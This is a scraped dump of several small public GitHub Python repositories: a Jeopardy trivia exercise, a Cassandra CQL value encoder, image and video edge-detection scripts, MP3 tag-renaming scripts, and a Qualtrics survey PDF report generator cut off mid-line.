27e710603f8fa85d92d3adff74e83dfff4af5cdc
7d7aada3175cf801b7c4ce339d459f1878ee9487
12cf2e93d08488b9f1d3fe594b2b49959e9fbc5d
refs/heads/master
2020-06-22T03:02:21.860425
2019-07-18T15:59:02
2019-07-18T15:59:02
197,616,915
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6666240096092224, "alphanum_fraction": 0.6740437746047974, "avg_line_length": 50.43421173095703, "blob_id": "119748feb8106e87d4c707a9bb5b52a5527201cc", "content_id": "6bfb60a3410bd01e461636e171e9a8dd77b33d0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7817, "license_type": "no_license", "max_line_length": 350, "num_lines": 152, "path": "/jeopardy.py", "repo_name": "meghanforcellati/example_git_push", "src_encoding": "UTF-8", "text": "import requests\nimport random\nfrom similar_text import similar_text\n\nresponse = requests.get('http://jservice.io/api/clues?category=218').json()\n\n#print(response)\n\n#create a jeopardy game. \n\n\n#### LEVEL 1\n\n# 1. Print out just the first item in the entire response.\n\n#print(response[1])\n\n# 2. Print out just the question of the first item in the entire response. \n# > You might notice that each of the dictionary keys has the letter u in front of it - this just means the string that follows is represented in Unicode, and it won't affect your code in any way today. You can igore the u.\n\n# print(response[0][\"question\"])\n# print(len(response))\n# # 3. Refactor your code so that it prints out a random question, not just the first one every time.\n\n# print(response[(random.randint(0, 100))][\"question\"])\n\n# 4. Now, get some user input after the question. If what they type matches the answer, print a \"congratulations!\" message of some sort. If it doesn't match, print a \"sorry\" message of some sort.\n# * It's important to think about how specific Python's matching will be. If the user types \"gorge\" but the correct answer is \"Gorge.\", then the user will get the question wrong. *Consider finding a way of making your program responsive to small variations in capitalization or punctuation.*\n \n# 5. If you get it wrong, you probably still want to know the right answer - it can be so frustrating if you were sure you were right. If the user gets it wrong, print out a message that tells them what the correct answer really was.\n\n# selected=random.randint(0,100)\n# question=[response][selected][\"question\"]\n# answer=response[selected][\"answer\"]\n\n# selected_question = input(\"Please select what number (0-100) of question you'd like: \")\n# selected_question=int(selected_question)\n# print(\"Your question is: \" + response[selected_question][\"question\"])\n# user_answer = input(\"What is your answer? \")\n# if user_answer == response[selected_question][\"answer\"]:\n# print(\"You're right! Congratulations!\")\n# else:\n# print(\"You're wrong, but the right answer was \" + response[selected_question][\"answer\"])\n\n\n\n# #### LEVEL 2\n\n# 6. Wrap this game in a loop so the user can play multiple rounds.\n\n# def game(number):\n# for x in range(0, number):\n# selected_question = input(\"Please select what number (0-100) of question you'd like: \")\n# selected_question=int(selected_question)\n# print(\"Your question is: \" + response[selected_question][\"question\"])\n# user_answer = input(\"What is your answer? \")\n# if user_answer == response[selected_question][\"answer\"]:\n# print(\"You're right! Congratulations!\")\n# else:\n# print(\"You're wrong, but the right answer was \" + response[selected_question][\"answer\"])\n# print(\"Game Over!\")\n# return \"Your game has been completed \" + str(number) + \" times.\"\n\n# trials = input(\"How many times do you want to play? \")\n# game(int(trials))\n\n# 7. Create a score variable:\n# * If the user gets a question right, increase their score by the point value of the question.\n# * If the user gets a question wrong, decrease their score by the point value of the question.\n# * Print out their score after each round.\n\n# def scored_game(number):\n# score=0\n# for x in range(0, number):\n# print(\"Your score is \" + str(score))\n# selected_question = input(\"Please select what number (0-100) of question you'd like: \")\n# selected_question=int(selected_question)\n# print(\"Your question is: \" + response[selected_question][\"question\"])\n# user_answer = input(\"What is your answer? \")\n# if user_answer == response[selected_question][\"answer\"]:\n# print(\"You're right! Congratulations!\")\n# score+=response[selected_question][\"value\"]\n# else:\n# print(\"You're wrong, but the right answer was \" + response[selected_question][\"answer\"])\n# score-=response[selected_question][\"value\"]\n# print(\"Game Over! You finished with a score of \" + str(score))\n# return \"Your game has been completed \" + str(number) + \" times.\"\n\n# trials = input(\"How many times do you want to play? \")\n# scored_game(int(trials))\n\n\n# #### LEVEL 3\n\n# 8. One of the most frustrating parts of this game is missing an answer due to typos, spelling errors, capitalization mismatches, or unexpected punctuation. Some of this is relatively easy to fix with Python's core methods, but there is no core function to show that \"george\" and \"gorge\" are SO CLOSE that the user probably actually knew the answer.\n# * There's a library called [similar-text](https://pypi.org/project/similar_text/) that will let us examine how similar two strings are.\n# * Install that library, import it at the top of your program, and then look at the documentation to figure out how to use it.\n# * If the user's answer is really close to the real answer, let them know that they almost have it, but that they may want to type it more carefully.\n# * It may also be beneficial to consider a way of recognizing that \"Grapes of Wrath\" and \"The Grapes of Wrath\" would be considered a mismatch. Are you going to give the user another chance if all they're missing is a small word like \"the\"?\n\n# ![Jeopardy Board](jBoard.jpg)\n\n# def advanced_scored_game(number):\n# score=0\n# for x in range(0, number):\n# print(\"Your score is \" + str(score))\n# selected_question = input(\"Please select what number (0-100) of question you'd like: \")\n# selected_question=int(selected_question)\n# print(\"Your question is: \" + response[selected_question][\"question\"])\n# user_answer = input(\"What is your answer? \")\n# #check to see if exactly equal\n# if user_answer.lower() == response[selected_question][\"answer\"].lower():\n# print(\"You're right! Congratulations!\")\n# score+=response[selected_question][\"value\"]\n# #check to see if value is within 30% similar\n# elif (similar_text(user_answer.lower(), response[selected_question][\"answer\"].lower())>=30):\n# print(str(similar_text(user_answer.lower(), response[selected_question][\"answer\"].lower())))\n# try_two=input(\"Try again. Are you sure your answer is correct? \")\n# if try_two.lower()==response[selected_question][\"answer\"].lower():\n# score+=response[selected_question][\"value\"]\n# print(\"Good job, you got the answer right!\")\n# else:\n# print(\"Sorry, you're wrong.\")\n# score-=response[selected_question][\"value\"]\n# else:\n# print(\"You're wrong, but the right answer was \" + response[selected_question][\"answer\"])\n# score-=response[selected_question][\"value\"]\n# print(\"Game Over! You finished with a score of \" + str(score))\n# return \"Your game has been completed \" + str(number) + \" times.\"\n\n# trials = input(\"How many times do you want to play? \")\n# advanced_scored_game(int(trials))\n\n\n# #### LEVEL 4\n\n# 9. The real jeopardy board has six categories, and 5 questions per category of increasing difficulty. That's 30 unique questions. The player also gets to CHOOSE which questions to answer and when.\n# * Find a way to load all 30 questions, and then offer the user a choice of which question to attempt.\n# * Find a way to print out a visual representation of the board in the console.\n# * Bonus: print the score at the top or bottom of the board.\n# * Keep track of which questions the user has already tried, and throw them an error if they try to access the same question twice.\n\n\n\"\"\"\n\nMEGA SCIENCE JEOPARDY\n\n\"\"\"\n\n#start by figuring out a way to load 6 categories\n\n#randomly select 5 questions for each category" } ]
1
chronology/python-driver
https://github.com/chronology/python-driver
0f4b0ac9587ad1468cbdd88bbf219e931eee7d4b
12d11fe8e938288d6bf8e954d6110206c3ae3d2e
f35d889b70c0fb7cac1bbced878f8e7a5e09a487
refs/heads/master
2021-01-18T03:01:08.070930
2014-07-16T23:20:45
2014-07-16T23:20:45
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6507695913314819, "alphanum_fraction": 0.6603583097457886, "avg_line_length": 25.959182739257812, "blob_id": "caf20ef0ba85222f29594f46e9a151d3c9366490", "content_id": "7c0afd66c57e09ef3c6275460298e463fed48ae0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3963, "license_type": "permissive", "max_line_length": 80, "num_lines": 147, "path": "/cassandra/encoder.py", "repo_name": "chronology/python-driver", "src_encoding": "UTF-8", "text": "# Copyright 2013-2014 DataStax, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nlog = logging.getLogger(__name__)\n\nfrom binascii import hexlify\nimport calendar\nimport datetime\nimport sys\nimport types\nfrom uuid import UUID\nimport six\n\nfrom cassandra.util import OrderedDict\n\nif six.PY3:\n long = int\n\n\ndef cql_quote(term):\n # The ordering of this method is important for the result of this method to\n # be a native str type (for both Python 2 and 3)\n\n # Handle quoting of native str and bool types\n if isinstance(term, (str, bool)):\n return \"'%s'\" % str(term).replace(\"'\", \"''\")\n # This branch of the if statement will only be used by Python 2 to catch\n # unicode strings, text_type is used to prevent type errors with Python 3.\n elif isinstance(term, six.text_type):\n return \"'%s'\" % term.encode('utf8').replace(\"'\", \"''\")\n else:\n return str(term)\n\n\ndef cql_encode_none(val):\n return 'NULL'\n\n\ndef cql_encode_unicode(val):\n return cql_quote(val.encode('utf-8'))\n\n\ndef cql_encode_str(val):\n return cql_quote(val)\n\n\nif six.PY3:\n def cql_encode_bytes(val):\n return (b'0x' + hexlify(val)).decode('utf-8')\nelif sys.version_info >= (2, 7):\n def cql_encode_bytes(val): # noqa\n return b'0x' + hexlify(val)\nelse:\n # python 2.6 requires string or read-only buffer for hexlify\n def cql_encode_bytes(val): # noqa\n return b'0x' + hexlify(buffer(val))\n\n\ndef cql_encode_object(val):\n return str(val)\n\n\ndef cql_encode_datetime(val):\n timestamp = calendar.timegm(val.utctimetuple())\n return str(long(timestamp * 1e3 + getattr(val, 'microsecond', 0) / 1e3))\n\n\ndef cql_encode_date(val):\n return \"'%s'\" % val.strftime('%Y-%m-%d-0000')\n\n\ndef cql_encode_sequence(val):\n return '( %s )' % ' , '.join(cql_encoders.get(type(v), cql_encode_object)(v)\n for v in val)\ncql_encode_tuple = cql_encode_sequence\n\n\ndef cql_encode_map_collection(val):\n return '{ %s }' % ' , '.join('%s : %s' % (\n cql_encode_all_types(k),\n cql_encode_all_types(v)\n ) for k, v in six.iteritems(val))\n\n\ndef cql_encode_list_collection(val):\n return '[ %s ]' % ' , '.join(map(cql_encode_all_types, val))\n\n\ndef cql_encode_set_collection(val):\n return '{ %s }' % ' , '.join(map(cql_encode_all_types, val))\n\n\ndef cql_encode_all_types(val):\n return cql_encoders.get(type(val), cql_encode_object)(val)\n\n\ncql_encoders = {\n float: cql_encode_object,\n bytearray: cql_encode_bytes,\n str: cql_encode_str,\n int: cql_encode_object,\n UUID: cql_encode_object,\n datetime.datetime: cql_encode_datetime,\n datetime.date: cql_encode_date,\n dict: cql_encode_map_collection,\n OrderedDict: cql_encode_map_collection,\n list: cql_encode_list_collection,\n tuple: cql_encode_list_collection,\n set: cql_encode_set_collection,\n frozenset: cql_encode_set_collection,\n types.GeneratorType: cql_encode_list_collection\n}\n\nif six.PY2:\n cql_encoders.update({\n unicode: cql_encode_unicode,\n buffer: cql_encode_bytes,\n long: cql_encode_object,\n types.NoneType: cql_encode_none,\n })\nelse:\n cql_encoders.update({\n memoryview: cql_encode_bytes,\n bytes: cql_encode_bytes,\n type(None): cql_encode_none,\n })\n\n# sortedset is optional\ntry:\n from blist import sortedset\n cql_encoders.update({\n sortedset: cql_encode_set_collection\n })\nexcept ImportError:\n pass\n" } ]
1
DragonRagers/EdgeDetection
https://github.com/DragonRagers/EdgeDetection
0bfb3d91024a0eee0a27469f7bb950f078ff7172
172c34d20e6b11b7afac9fdfb037b94c7122bcab
6c39e91c289a188798ff8ed1d96ce120f40301fd
refs/heads/master
2020-04-29T06:33:12.678748
2019-09-28T18:47:15
2019-09-28T18:47:15
175,919,855
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7772511839866638, "alphanum_fraction": 0.8009478449821472, "avg_line_length": 69.33333587646484, "blob_id": "1730e43835d0cbe23cff22ec23c691f4543e0340", "content_id": "a879b41f4a21359dba8a6fa7617396c8f0fa434e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 211, "license_type": "no_license", "max_line_length": 108, "num_lines": 3, "path": "/README.md", "repo_name": "DragonRagers/EdgeDetection", "src_encoding": "UTF-8", "text": "\"# EdgeDetection\"\nThis is just gonna be the place where I can keep track of files while I mess around with different things :)\nExample Results: https://drive.google.com/open?id=1iZJqeQGUdxWHeJhYL51QmNdu08FyD-Pw\n" }, { "alpha_fraction": 0.6050899624824524, "alphanum_fraction": 0.6239578723907471, "avg_line_length": 29.79729652404785, "blob_id": "6cb1cd664a9f34dfd3ce5c23ef4418d1b3063373", "content_id": "787a4dfdd9abd3ff97436d3a4100013fdc36aa3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2279, "license_type": "no_license", "max_line_length": 113, "num_lines": 74, "path": "/edge.py", "repo_name": "DragonRagers/EdgeDetection", "src_encoding": "UTF-8", "text": "from PIL import Image\nimport math\nimport argparse\n\"\"\"\n#averages RGB\ndef gray(color):\n r,g,b = color\n average = int(round((r+g+b)/3))\n return average\n\n#converts RGB to average gray scale\ndef grayScale(temp):\n img = temp.copy()\n width, height = img.size\n pix = img.load()\n for x in range(width):\n for y in range(height):\n average = gray(pix[x,y])\n pix[x,y] = (average, average, average)\n return img\n\"\"\"\n\n#mean square error in RGB between 2 pixels\ndef colorDifference(pix1, pix2):\n r1,g1,b1 = pix1\n r2,g2,b2 = pix2\n return math.sqrt((r1-r2)**2 + (g1-g2)**2 + (b1-b2)**2)/3\n\ndef xGradient(img, size, sensitivity):\n #gets image dimensions and loads\n width, height = img.size\n result = Image.new(\"RGB\", (width,height),color=0)\n pix = img.load()\n rpix = result.load()\n\n #for all pixels at least 'size' distance from edge\n for x in range(size, width - size):\n for y in range(height):\n\n #difference in color between corresponding pixels on opposite sides\n gradient = 0\n for i in range(size):\n gradient += colorDifference(pix[x-size+i,y], pix[x+size-i,y])\n\n #scales gradient up and removes some noise\n color = int(round(gradient * 10 * sensitivity))\n if color <= 100:\n color = 0\n rpix[x,y] = (color, color, color)\n\n return result\n\n#creates black and white edge image, takes file name, number of pixels to consider, and sensitivity for detection\ndef edgeDetection(img, size = 1, sensitivity = 1):\n xg = xGradient(img, size, sensitivity)\n yg = xGradient(img.rotate(90,resample=0,expand=1), size, sensitivity).rotate(-90,resample=0,expand=1)\n return Image.blend(xg, yg, .5)\n\n\ndef main():\n #command line agruments\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"-i\", default = \"images\\\\input.png\")\n parser.add_argument(\"-p\", type = int, default = 1)\n parser.add_argument(\"-s\", type = float, default = 1)\n args = parser.parse_args()\n\n #run edge detection\n img = Image.open(args.i).convert(\"RGB\")\n edgeDetection(img,args.p,args.s).show()\n print(\"Done\")\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.6800689101219177, "alphanum_fraction": 0.6967260241508484, "avg_line_length": 30.654544830322266, "blob_id": "2aaa6f120fbc494534918d71454ea5016a134204", "content_id": "b341ecf86e9841e27c4d485c9dcba6ed9c375963", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1741, "license_type": "no_license", "max_line_length": 94, "num_lines": 55, "path": "/video.py", "repo_name": "DragonRagers/EdgeDetection", "src_encoding": "UTF-8", "text": "import edge\nimport numpy as np\nfrom PIL import Image\nimport moviepy.editor as mpy\nfrom multiprocessing import Pool\nfrom tqdm import tqdm\nfrom scipy import ndimage\n\ninput = mpy.VideoFileClip(\"videos\\\\flower.mp4\")\n\n#resize width to input maintaining aspect ratio\ndef resize(img, basewidth = 500):\n wpercent = (basewidth/float(img.size[0]))\n hsize = int((float(img.size[1])*float(wpercent)))\n return img.resize((basewidth,hsize))\n\n\"\"\"\n#runs frame at time t through edge detection filter\n## TODO: change edge detection to run off of numpy instead of Pillow\ndef edgeFrame(t):\n return np.array(edge.edgeDetection(resize(Image.fromarray(input.get_frame(t)), 1080),1,1))\n #return np.array(edge.edgeDetection(Image.fromarray(input.get_frame(t)),1,1))\n\"\"\"\n\n#single thread approach\n\"\"\"\nclip = mpy.VideoClip(edgeFrame, duration=input.duration)\nclip.write_gif(\"test.gif\", fps = 1)\n\"\"\"\n\ndef edgeFrame(t):\n #take frame a time = t and convert to gray scale\n img = input.get_frame(t).dot([.07, .72, .21])\n\n #sobel filter\n dx = ndimage.sobel(img, 0) # horizontal derivative\n dy = ndimage.sobel(img, 1) # vertical derivative\n mag = np.hypot(dx, dy).astype(np.uint8)\n #I don't know why i need to do this\n return np.array(Image.fromarray(mag).convert(\"RGB\"))\n\n\n#multiprocess edge detection processing per frame and stich them back together into a gif\nif __name__ == '__main__':\n time = round(input.duration)\n fps = 24\n\n print(\"Applying Edge Detection Algorithm to Frames:\")\n p = Pool(8)\n imgs = list(tqdm(p.imap(edgeFrame, np.linspace(0,time,time*fps)), total=time*fps))\n\n clip = mpy.ImageSequenceClip(imgs, fps)\n clip.write_videofile(\"test.mp4\")\n #clip.write_gif(\"test.gif\")\n print(\"Done :)\")\n" } ]
3
lavax/ModifyMP3ID3Sample
https://github.com/lavax/ModifyMP3ID3Sample
1c71e91dc07f7f216f2fb03932178c802f1d0f7c
55da9e5f5dbb8080e772d868207640bc980eccbd
624034e4f4236ebdc1ec6a9fa9bed3161f7311e7
refs/heads/master
2020-03-07T09:31:58.356384
2018-03-30T09:31:03
2018-03-30T09:31:03
127,410,011
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5179687738418579, "alphanum_fraction": 0.5503906011581421, "avg_line_length": 32.68421173095703, "blob_id": "3b8c04a3f1887464aa5e6ed2ad7d505a8e4789f3", "content_id": "df4fa48c9f4ac258a9320a24ed58edf1d4e36907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2852, "license_type": "no_license", "max_line_length": 81, "num_lines": 76, "path": "/Sample2.py", "repo_name": "lavax/ModifyMP3ID3Sample", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport os\nimport sys\nimport logging\nfrom mutagen.mp3 import MP3\nfrom mutagen.id3 import ID3, TIT2, TALB, TPE1, TPE2, TRCK\n\nlogging.basicConfig(level=logging.DEBUG)\n\nif __name__ == \"__main__\":\n # 文件所在目录\n dir1 = 'F:\\Downloads\\三体-哈哈笑\\三体2_黑暗森林[全85集](播音——哈哈笑)'\n dir2 = 'F:\\Downloads\\三体-哈哈笑\\三体3_死神永生[全99集](播音——哈哈笑)'\n file_suffix = '.mp3'\n\n files = os.listdir(dir1)\n for old_file_name in files:\n tit2_str = old_file_name.replace(file_suffix, '').replace('_', '-') # 标题\n tokens = tit2_str.split('-')\n talb_str = '三体2' # 唱片集\n tpe2_str = '哈哈笑' # 唱片集艺术家\n tpe1_str = '刘慈欣;' # 参与创作的艺术家\n trck_str = tokens[1] # #\n tit2_str = '黑暗森林-' + trck_str\n new_file_name = talb_str + '-' + tit2_str + file_suffix\n logging.debug('%s,%s,%s,%s', tit2_str, talb_str, tpe2_str, trck_str)\n\n tit2 = TIT2(text=tit2_str) # 标题\n talb = TALB(text=talb_str) # 唱片集\n tpe2 = TPE2(text=tpe2_str) # 唱片集艺术家\n tpe1 = TPE1(text=tpe1_str) # 参与创作的艺术家\n trck = TRCK(text=trck_str) # #\n\n old_file_path = os.path.join(dir1, old_file_name)\n new_file_path = os.path.join(dir1, new_file_name)\n os.rename(old_file_path, new_file_path)\n logging.debug(new_file_path)\n id3 = ID3(new_file_path)\n id3.add(tit2)\n id3.add(talb)\n id3.add(tpe1)\n id3.add(tpe2)\n id3.add(trck)\n id3.save()\n\n files = os.listdir(dir2)\n for old_file_name in files:\n # tit2_str = old_file_name.replace(file_suffix, '')\n tokens = old_file_name.replace(file_suffix, '').split('-')\n token = tokens[1]\n\n talb_str = '三体3' # 唱片集\n tpe2_str = '哈哈笑' # 唱片集艺术家\n tpe1_str = '刘慈欣;' # 参与创作的艺术家\n trck_str = token[-3:] # #\n tit2_str = '死神永生-' + trck_str # 标题\n new_file_name = talb_str + '-' + tit2_str + file_suffix\n logging.debug('%s,%s,%s,%s', tit2_str, talb_str, tpe2_str, trck_str)\n\n tit2 = TIT2(text=tit2_str) # 标题\n talb = TALB(text=talb_str) # 唱片集\n tpe2 = TPE2(text=tpe2_str) # 唱片集艺术家\n tpe1 = TPE1(text=tpe1_str) # 参与创作的艺术家\n trck = TRCK(text=trck_str) # #\n\n old_file_path = os.path.join(dir2, old_file_name)\n new_file_path = os.path.join(dir2, new_file_name)\n os.rename(old_file_path, new_file_path)\n logging.debug(new_file_path)\n id3 = ID3(new_file_path)\n id3.add(tit2)\n id3.add(talb)\n id3.add(tpe1)\n id3.add(tpe2)\n id3.add(trck)\n id3.save()\n" }, { "alpha_fraction": 0.5499752759933472, "alphanum_fraction": 0.5774369239807129, "avg_line_length": 31.869918823242188, "blob_id": "fef6abf0dc2c3eae704d0754f03cc5120c9d94d9", "content_id": "447c1f49d991c87440a77c9e150eb1ec6c60b019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4731, "license_type": "no_license", "max_line_length": 116, "num_lines": 123, "path": "/Sample1.py", "repo_name": "lavax/ModifyMP3ID3Sample", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport os\nimport sys\nimport logging\nfrom mutagen.mp3 import MP3\nfrom mutagen.id3 import ID3, TIT2, TALB, TPE1, TPE2, TRCK\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\n# fileSub = \".mp3\"\n# # filePath = \"F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第三部[全71集](播音—刘纪同)\"\n# filePath = 'F:\\Downloads\\明朝那些事儿-刘纪同\\\\test'\n# fileNameToken = \"_[ü+ñ¦²-Ú-°www.qktsw.com]\"\n# fileNewNameToken = \"\"\n\n\n# if len(sys.argv) == 4:\n# # 如果只有3个参数,那么说明把fileNameToken替换成空字符串\n# fileNewNameToken = ''\n# fileSuffix = sys.argv[3]\n# elif len(sys.argv) == 5:\n# fileNewNameToken = sys.argv[3]\n# fileSuffix = sys.argv[4]\n# else:\n# logging.error(\"参数错误,应为3或4个!\")\n# sys.exit(-1)\n# filePath = sys.argv[1]\n# fileNameToken = sys.argv[2]\n\n\ndef rename(file_path, replace_tokens, file_suffix):\n files = os.listdir(file_path)\n for old_file_name in files:\n # fileName\n old_file_path = os.path.join(file_path, old_file_name) # 获取path与filename组合后的路径\n if os.path.isfile(old_file_path) and old_file_name.endswith(file_suffix):\n for file_name_token, file_new_name_token in replace_tokens.items():\n if old_file_name.find(file_name_token) != -1:\n new_file_name = old_file_name.replace(file_name_token, file_new_name_token)\n new_file_path = os.path.join(file_path, new_file_name)\n logging.info(new_file_path)\n # os.rename(old_file_path, new_file_path)\n\n\ndef files2tag(file_dir, file_suffix):\n files = os.listdir(file_dir)\n for file_name in files:\n tit2_str = file_name.replace(file_suffix, '')\n tokens = tit2_str.split('-')\n talb_str = tokens[0]\n tpe2_str = tokens[1]\n trck_str = tokens[2]\n logging.debug('%s,%s,%s,%s', tit2_str, talb_str, tpe2_str, trck_str)\n\n tit2 = TIT2(text=tit2_str) # 标题\n talb = TALB(text=talb_str) # 唱片集\n tpe2 = TPE2(text=tpe2_str) # 唱片集艺术家\n tpe1 = TPE1(text='当年明月') # 参与创作的艺术家\n trck = TRCK(text=trck_str) # #\n\n file_path = os.path.join(file_dir, file_name)\n id3 = ID3(file_path)\n id3.add(tit2)\n id3.add(talb)\n id3.add(tpe1)\n id3.add(tpe2)\n id3.add(trck)\n id3.save()\n\n # 备注\n # COMM::eng = ''\n # fileName = 'F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第一部[全119集](播音—刘纪同)\\明朝那些事儿1-刘纪同-119.mp3'\n # mp3 = ID3(fileName)\n # for k, v in mp3.items():\n # logging.debug('%s=%s', k, v)\n #\n\ndef files2tag2(file_dir, file_suffix):\n files = os.listdir(file_dir)\n for file_name in files:\n tit2_str = file_name.replace(file_suffix, '')\n tokens = tit2_str.split('-')\n talb_str = tokens[0]\n tpe2_str = tokens[1]\n trck_str = tokens[2]\n logging.debug('%s,%s,%s,%s', tit2_str, talb_str, tpe2_str, trck_str)\n\n tit2 = TIT2(text=tit2_str) # 标题\n talb = TALB(text=talb_str) # 唱片集\n tpe2 = TPE2(text=tpe2_str) # 唱片集艺术家\n tpe1 = TPE1(text='当年明月') # 参与创作的艺术家\n trck = TRCK(text=trck_str) # #\n\n file_path = os.path.join(file_dir, file_name)\n id3 = ID3(file_path)\n id3.add(tit2)\n id3.add(talb)\n id3.add(tpe1)\n id3.add(tpe2)\n id3.add(trck)\n id3.save()\n\nif __name__ == \"__main__\":\n # 文件所在目录\n dirList = ['F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第五部[全39集](播音—刘纪同)', 'F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第四部[全80集](播音—刘纪同)',\n 'F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第三部[全71集](播音—刘纪同)', 'F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第二部[全37集](播音—刘纪同)',\n 'F:\\Downloads\\明朝那些事儿-刘纪同\\明朝那些事儿第一部[全119集](播音—刘纪同)']\n # 替换字符串\n replaceTokens = {\n '+¸¦»-Ãð®--¨Á+--¦+_-§+--¼': '明朝那些事儿4-刘纪同-',\n '+¸¦»-Ãð®--¨Á++²¦+_-§+--¼': '明朝那些事儿3-刘纪同-',\n '+¸¦»-Ãð®--¨Á+¦¦+_-§+--¼': '明朝那些事儿2-刘纪同-'}\n\n fileSuffix = \".mp3\"\n\n logging.debug('dirList=%s', dirList)\n logging.debug('replaceTokens=%s', replaceTokens)\n logging.debug('fileSuffix=%s', fileSuffix)\n\n for filePath in dirList:\n rename(filePath, replaceTokens, fileSuffix)\n files2tag(filePath, fileSuffix)" } ]
2
gboushey/qualtrics_reports
https://github.com/gboushey/qualtrics_reports
14b19ff8fb8ab0e1a4f3cec0b227023b76cb013b
56030023b19bcd6051a227a6dacba65f2ac2414d
a9e38727f279c6ef2614e717583a1842368ece97
refs/heads/master
2020-09-12T21:40:49.317916
2020-03-12T23:10:09
2020-03-12T23:10:09
222,565,967
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49349111318588257, "alphanum_fraction": 0.5214990377426147, "avg_line_length": 32.58278274536133, "blob_id": "c11440f285df72a313ff2d5b5e570303c9159b40", "content_id": "d9e2483498335f4c539a3db3c976a564fb9c743d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5070, "license_type": "permissive", "max_line_length": 143, "num_lines": 151, "path": "/reports.py", "repo_name": "gboushey/qualtrics_reports", "src_encoding": "UTF-8", "text": "import pandas as pd\n\nfrom pandasql import sqldf\npysqldf = lambda q: sqldf(q, globals())\n\nfrom fpdf import FPDF, HTMLMixin\nclass HTML2PDF(FPDF, HTMLMixin):\n pass\n\n\ndf = pd.read_csv('data/data.csv')\ndf_data = df.loc[3:, 'Q2':]\n\nfacilitator_col = 'Q25'\ngroup_col = 'Q23'\ncomment_col = \"Q27\"\nlearners_text = \"Second-Year Students from Medicine, Nursing, Pharmacy, Dentistry, and Physical Therapy\"\n\ndef case_stmt(field):\n return \"CASE WHEN \" + field + \" == 'Excellent' THEN 5 \\\n WHEN \" + field + \" == 'Very Good' THEN 4 \\\n WHEN \" + field + \" == 'Good' THEN 3 \\\n WHEN \" + field + \" == 'Fair' THEN 2 \\\n WHEN \" + field + \" == 'Poor' THEN 1 END\"\n\ndf_report = pysqldf(\"SELECT \" + facilitator_col + \" AS FACILITATOR, \" + group_col + \" AS GRP, \"\n + case_stmt('Q10_1') + \" as Q1, \" \\\n + case_stmt('Q10_2') + \" as Q2, \" \\\n + case_stmt('Q10_3') + \" as Q3, \" \\\n + case_stmt('Q5_1') + \" as Q5, \" \\\n + comment_col + \" AS COMM \" \\\n \"FROM df_data ORDER BY FACILITATOR, GRP\")\n\nunique_fac_grp = pysqldf(\"SELECT DISTINCT FACILITATOR, GRP FROM df_report WHERE FACILITATOR != 'None' \\\n AND GRP != 'None' ORDER BY FACILITATOR, GRP\")\n\nprint(unique_fac_grp)\n\nreport_data = []\n\nfor i in range(len(unique_fac_grp)):\n report_line = []\n sql_str = \"SELECT * FROM df_report WHERE FACILITATOR = '\" + str(unique_fac_grp.iloc[i][0]) + \"' \\\nAND GRP = '\" + str(unique_fac_grp.iloc[i][1]) + \"'\"\n df_fac_grp = pysqldf(sql_str)\n\n report_line.append(str(unique_fac_grp.iloc[i][0]).strip())\n report_line.append(str(unique_fac_grp.iloc[i][1]).strip())\n d_group = df_fac_grp.describe() \n \n q1 = \"None\"\n q2 = \"None\"\n q3 = \"None\"\n q5 = \"None\"\n \n c1 = 0\n c2 = 0\n c3 = 0\n c5 = 0\n \n if 'Q1' in d_group.keys():\n c1 = int(d_group['Q1'][0])\n q1 = round(d_group['Q1'][1],2)\n if 'Q2' in d_group.keys():\n c2 = int(d_group['Q2'][0])\n q2 = round(d_group['Q2'][1],2)\n if 'Q3' in d_group.keys():\n c3 = int(d_group['Q3'][0])\n q3 = round(d_group['Q1'][1],2)\n if 'Q5' in d_group.keys():\n c5 = int(d_group['Q5'][0])\n q5 = round(d_group['Q5'][1],2)\n \n report_line.append((c1, c2, c3, c5)) \n report_line.append((q1, q2, q3, q5))\n \n comment_string = \"\"\"SELECT DISTINCT COMM FROM df_report WHERE \n FACILITATOR = '\"\"\" + str(unique_fac_grp.iloc[i][0]) + \"\"\"' AND \n GRP = '\"\"\" + str(unique_fac_grp.iloc[i][1]) + \"\"\"'\"\"\"\n \n rs_comments = pysqldf(comment_string)\n \n comments = []\n for i in range(len(rs_comments)):\n if rs_comments['COMM'][i] != None:\n comments.append(rs_comments['COMM'][i])\n \n report_line.append(comments)\n report_data.append(report_line)\n \ni = 0\n\nfor i in range(len(unique_fac_grp)):\n\n course_info = \"<html>\"\n course_info += \"<b>Facilitator Name:</b> \" + str(report_data[i][0]) + \"<p/>\"\n course_info += \"<hr/>\"\n \n course_info += \"<b><font face=Verdana>IPE Session #3 on Monday, April 22, 2019</font></b><p/>\"\n course_info += 